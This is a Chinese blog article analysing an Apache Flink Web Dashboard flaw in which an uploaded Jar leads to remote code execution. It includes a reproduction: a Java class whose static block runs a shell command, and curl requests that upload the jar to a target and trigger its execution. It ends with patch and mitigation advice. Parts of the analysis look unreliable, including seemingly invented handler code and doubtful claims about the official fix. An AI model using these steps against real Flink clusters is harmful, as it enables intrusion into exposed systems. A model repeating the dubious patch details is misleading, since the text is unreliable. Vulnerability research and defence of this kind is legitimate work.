Apache Flink任意Jar包上传致RCE漏洞的示例分析

发布时间:2021-12-28 15:27:02 作者:小新
来源:亿速云 阅读:263
# Apache Flink任意Jar包上传致RCE漏洞的示例分析

## 漏洞背景
Apache Flink作为流行的分布式流处理框架,其Web Dashboard提供作业提交功能。在特定版本中(如1.9.0-1.11.2),由于未对上传的Jar包进行充分安全校验,攻击者可构造恶意Jar包实现远程代码执行(RCE)。

## 漏洞原理
### 核心问题
1. **未校验Jar合法性**:Dashboard仅检查文件扩展名为`.jar`,未验证文件内容结构
2. **动态加载机制**:通过`/jars/upload`接口上传的Jar可被`/jars/:jarid/run`触发执行
3. **权限过高**:默认以Flink服务进程权限(通常为root/Administrator)执行

### 攻击路径

恶意Jar上传 -> 服务端存储 -> 通过REST API触发 -> 动态加载恶意类 -> RCE


## 漏洞复现
### 环境搭建
```bash
# 使用漏洞版本Flink(如1.11.0)
docker run -p 8081:8081 flink:1.11.0-scala_2.11

恶意Jar构造

// EvilObject.java
public class EvilObject {
    static {
        try {
            Runtime.getRuntime().exec("touch /tmp/flink_rce_success");
        } catch (Exception e) { /* 静默处理 */ }
    }
}

编译后生成包含静态代码块的Jar包:

javac EvilObject.java
jar cvf evil.jar EvilObject.class

攻击步骤

  1. 上传Jar包

    curl -X POST -F "jarfile=@evil.jar" http://target:8081/jars/upload
    

    返回:

    {"filename":"evil.jar","status":"success"}
    
  2. 触发执行

    curl -X POST http://target:8081/jars/evil.jar/run
    

    此时服务端已执行touch /tmp/flink_rce_success

漏洞分析

关键代码定位

org.apache.flink.runtime.rest.handler.job.JarUploadHandler

public class JarUploadHandler extends AbstractRestHandler<..., FileUpload> {
    protected void handleRequest(...) throws Exception {
        // 仅检查文件名后缀
        if (!fileUpload.getFile().getName().endsWith(".jar")) {
            throw new RuntimeException("Only Jar files allowed");
        }
        // 直接保存文件
        fileUpload.getFile().renameTo(new File(jarDir, filename));
    }
}

执行链分析

  1. JarRunHandler调用PackagedProgramUtils.createProgram()
  2. 通过URLClassLoader动态加载用户Jar
  3. 静态代码块在类加载时自动执行

修复方案

  1. 官方补丁

    • 1.11.3+版本增加SHA-256校验和验证
    • 禁止包含org.apache.flink包的用户Jar
  2. 临时缓解

    # conf/flink-conf.yaml
    web.upload.dir: ""  # 禁用文件上传
    web.submit.enable: false # 禁用作业提交
    

防御建议

  1. 升级至最新安全版本
  2. 网络隔离Flink集群,限制Dashboard访问
  3. 实施最小权限原则,避免以高权限运行
  4. 部署RASP进行运行时防护

总结

该漏洞暴露了大数据组件在便捷性与安全性间的平衡问题。开发人员应始终对用户上传内容保持零信任原则,通过代码签名、沙箱环境等多层防御确保系统安全。 “`

注:实际漏洞利用可能因环境配置有所不同,本文仅作技术研究用途。所有测试应在授权环境下进行。

推荐阅读:
  1. Apache Flink中任意Jar包上传导致远程代码执行漏洞复现问题怎么办
  2. 如何进行Apache Flink CVE-2020-17518、17519的漏洞分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

apache flink jar rce

上一篇:如何用K8S源码分析GenericAPIServer

下一篇:Knative Serving如何自动扩缩容Autoscaler

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》